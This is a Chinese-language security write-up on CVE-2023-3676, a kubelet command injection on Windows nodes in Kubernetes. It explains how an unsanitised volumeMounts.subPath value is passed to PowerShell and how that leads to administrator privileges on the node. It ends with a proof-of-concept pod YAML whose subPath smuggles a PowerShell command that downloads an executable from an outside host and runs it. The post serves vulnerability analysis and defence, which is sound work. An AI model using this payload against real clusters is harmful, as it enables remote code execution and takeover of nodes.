在许多组织中，所运行的很大一部分服务和应用是 Windows 应用。 Windows 容器提供了一种封装进程和包依赖项的方式，从而简化了 DevOps 实践，令 Windows 应用程序同样遵从云原生模式，实际生产中存在很多这样的混合集群。

之前两篇有关 K8S 的文章，分别探索了对于 K8S 本身功能的利用、多种不同 RBAC 权限的利用，但是对于集群中 Windows 节点的情况下并未去研究，刚好近期 K8S 的一些漏洞是针对 Windows 节点。

漏洞概述

近期 kubernetes 中发现了漏洞 CVE-2023-3676，该漏洞可在集群中的 Windows 节点上创建 pod，并在节点上提权到管理员权限。
受影响的版本：

kubelet <= v1.28.0
kubelet <= v1.27.4
kubelet <= v1.26.7
kubelet <= v1.25.12
kubelet <= v1.24.16

漏洞详情

该漏洞是一个很典型的命令注入，由于节点上运行的 kubelet 是由本地最高权限即管理员权限，通过创建 pod 使用 kubelet 的权限以达到提权。

命令注入就是将用户提交的数据未经过滤或者过滤不严格，通过拼接将参数传入调用系统命令的函数调用处。

用户在集群中创建 pod 时，可以在主机和 pod 之间创建共享目录就是卷，卷主要用来多个 pod 共享文件，或者持久化容器生命周期内创建或修改的文件。

在 pod 中共享卷是非常方便的，volumeMounts.subPath 属性可用于指定所引用的卷内的子路径，而不是其根路径。

该漏洞就是通过 kubelet 在解析 subPath 参数时，未经处理直接传递给 Powershell，通过 PS 检查并解析符号链接。

kubelet 在解析 yaml 文件时，会调用函数isLinkPath来对subPath进行校验已确保不会因为该参数创建符号链接。

该函数主要讲subPath作为参数确实是否为符号链接，然后创建一个 PS 命令，并通过exec.Command之间调用，而在这里并未做其他校验直接进行了命令调用，存在命令注入的可能。、

而 Powershell中的子表达式运算符$()返回一个或多个语句的结果。对于单个结果，返回一个标量。对于多个结果，返回一个数组。如果要在另一个表达式中使用某个表达式，请使用此方法。例如，在字符串表达式中嵌入命令的结果。

PS> "Today is $(Get-Date)"
Today is 12/02/2019 13:15:20

PS> "Folder list: $((dir c:\ -dir).Name -join ', ')"
Folder list: Program Files, Program Files (x86), Users, Windows

除了以上示例外其他任何 PS 命令都可以使用，如$(Start-Process cmd)、$(Invoke-Expression exp)等等。

漏洞验证

通过上面分析我们可以构建一个恶意的 pod 进行验证，参考下面的 yaml

apiVersion: v1
kind: Pod
metadata:
  name: cve-2023-3676
spec:
  containers:
  - name: test
    image: mcr.microsoft.com/powershell:lts-7.2-nanoserver-1809
    command: ["pwsh"]
    args: ["-Command", "Start-Sleep", "3600"]
    volumeMounts:
    - name: win-etc
      mountPath: c:\etc
      subPath: $(Start-process powershell (new-object System.Net.WebClient).DownloadFile('http://x.xx.x.x/a.exe','C:\a.exe');start-process 'C:\a.exe')
  nodeSelector:
    kubernetes.io/os: windows
  volumes:
  - name: win-etc